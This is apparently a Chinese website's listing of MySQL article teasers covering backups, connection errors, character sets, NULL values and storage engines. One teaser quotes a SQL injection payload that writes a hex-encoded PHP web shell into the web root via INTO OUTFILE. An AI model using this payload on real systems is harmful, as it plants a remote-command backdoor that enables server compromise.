MaxDB和MySQL之间的协同性详解
MaxDB和MySQL是独立的数据库管理服务器。系统间的协同性是可能的,通过相应的方式,系统能够彼此交换数据。要想在MaxDB和MySQL之间交换数据,可使用系统的导入和导出工具,或MaxDB同步管理器。对于导入和导出工具,...
备份MySQL数据库的另类方法
使用MySQL进行数据库备份,有很正规的数据库备份方法,同其他的数据库服务器有相同的概念,但有没有想过,MySQL会有更简捷的使用文件目录的备份方法,而且又快有好。一、数据备份捷径因为这个方法没有得到官方正式...
运用Mysql语句生成后门木马详解
通过Mysql 的语句生成后门木马的方法:SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F52455155455 3545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/www...
解决mysql 8小时空闲后连接超时
当应用程序和数据库建立连接时,如果超过了8个小时,应用程序句不会去访问数据库,数据库就会出现断掉连接的现象 。这时再次访问就会抛出异常,异常如下: Communications link failure due to underlying exceptio...
Mysql的最大连接数怎样用java程序测试
以前工作的时候由于Oracle8i数据库经常出现用户过多的错误,由于数据量大,经常出现ORA:12500错误,但主要原因是访问过多而引起的,后来就用Java写了个简单的用JDBC连接来测试Oracle最大...
怎样在Windows上安装多个Mysql
具体方法如下: 1.正常安装Windows版的Mysql,例如安装在d:\mysql文件夹里;2.按照常规配置好Mysql;3.复制备份安装好的文件夹,比如备份到另外一个文件夹,或者命名为“复件mysql";4.运行卸载程序删除安装的MYS...
MySQL+Webmin轻松实现创建数据库
有多少次你在考虑怎样设置数据库时感到为难?其实,如果你在Linux上使用MySQL,就不会有这种情况了。在Linux上使用Webmin图形界面来创建MySQL数据库将变得十分的简单。在这篇文章中,我们将一起来看看MySQL数据库应...
正确认识通信错误和失效连接
对于连接问题,服务器错误日志是有用的信息源。如果服务器是用“--log-warnings”选项启动的,在错误日志中可能会发现下述消息:010301 14:38:23 Aborted connection 854 to db: 'users' user: 'josh' 如果“Abort...
解决 MySQL中忽略用户的现象
如果遇到下述错误,表示当启动mysqld时或重新加载授权表时,在用户表中发现具有非法密码的账户。发现用户'some_user'@'some_host'密码错误:忽略用户。作为其结果,许可系统将简单忽略账户。在下面的介绍中,指明...
解决无法创建文件/写入文件
如果对某些查询遇到下述类型的错误,它意味着MySQL不能为临时目录下的结果集创建临时文件: 无法创建/写入文件'\\sqla3fe_0.ism'。 前述错误是Windows平台上的典型消息,Unix平台上的消息与之类似。 一种更正方式是...
MySQL客户端库的链接错误
当你链接到应用程序以使用MySQL客户端库时,可能会遇到以mysql_开始的未定义引用错误,如下所示:/tmp/ccFKsdPa.o: 在函数`main'中: /tmp/ccFKsdPa.o(.text+0xb): 对`mysql_init'的未定义引用。 /tmp/ccFKsdPa.o(.t...
MySQL中文件未找到的现象
如果遇到“ERROR '...'未发现(errno: 23)”,“无法打开文件:... (errno: 24)”,或来自MySQL的具有errno 23或errno 24的其它错误,它表示未为MySQL服务器分配足够的文件描述符。你可以使用perror实用工具来了解错...
无法初始化字符集相关
如果存在字符集问题,可能会遇到下述错误:MySQL连接失败:无法初始化字符集charset_name。导致该错误的原因:·字符集为多字节字符集,但客户端不支持该字符集。在该情况下,需要使用“--with-charset=charset_n...
NULL值相关的几个问题
对于SQL的新手,NULL值的概念常常会造成混淆,他们常认为NULL是与空字符串''相同的事。情况并非如此。例如,下述语句是完全不同的:mysql> INSERT INTO my_table (phone) VALUES (NULL); mysql> INSERT INTO my_tab...
MySQL数据库中“与不匹配行有关的问题”
如果有使用了很多表的复杂查询,但未返回任何行,应采用下述步骤找出什么出错:用EXPLAIN测试查询,以检查是否发现某事显然出错。仅选择在WHERE子句中使用的列。从查询中1次删除1个表,直至返回了某些行为止。如...
套接字文件 /tmp/mysql.sock的保护或更改
对于服务器用来与本地客户端进行通信的Unix套接字文件,其默认位置是/tmp/mysql.sock。这有可能导致问题,原因在于,在某些版本的Unix上,任何人都能删除/tmp目录下的文件。在大多数Unix版本中,可对/tmp目录进行保...
让MYSQL有效地装载数据
多时候关心的是优化SELECT 查询,因为它们是最常用的查询,而且确定怎样优化它们并不总是直截了当。相对来说,将数据装入数据库是直截了当的。然而,也存在可用来改善数据装载操作效率的策...
利用图形界面从SQL导入导出到MySQL
从sql导出到mysql的方法很多,现介绍一种无需编程,直接利用sql和mysql里的图形界面进行导入导出的简单方法。 前提是已经安装了sqlserver客户端和mysql的图形界面管理工具phpmyadmin。在控制台根目录下打开sqlserver...
利用Java访问SQL Server2000数据库
利用Java访问SQL Server2000数据库 将代码保存在jdbc.java文件中 CODE: import java.awt.*;import java.awt.event.*;import java.sql.*; ...
关于MySQL数据库的存储引擎详细介绍
存储引擎是什么? MySQL中的数据用各种不同的技术存储在文件(或者内存)中。这些技术中的每一种技术都使用不同的存储机制、索引技巧、锁定水平并且最终提供广泛的不同的功能和能力。通过选择不同的技术,你能够获得额...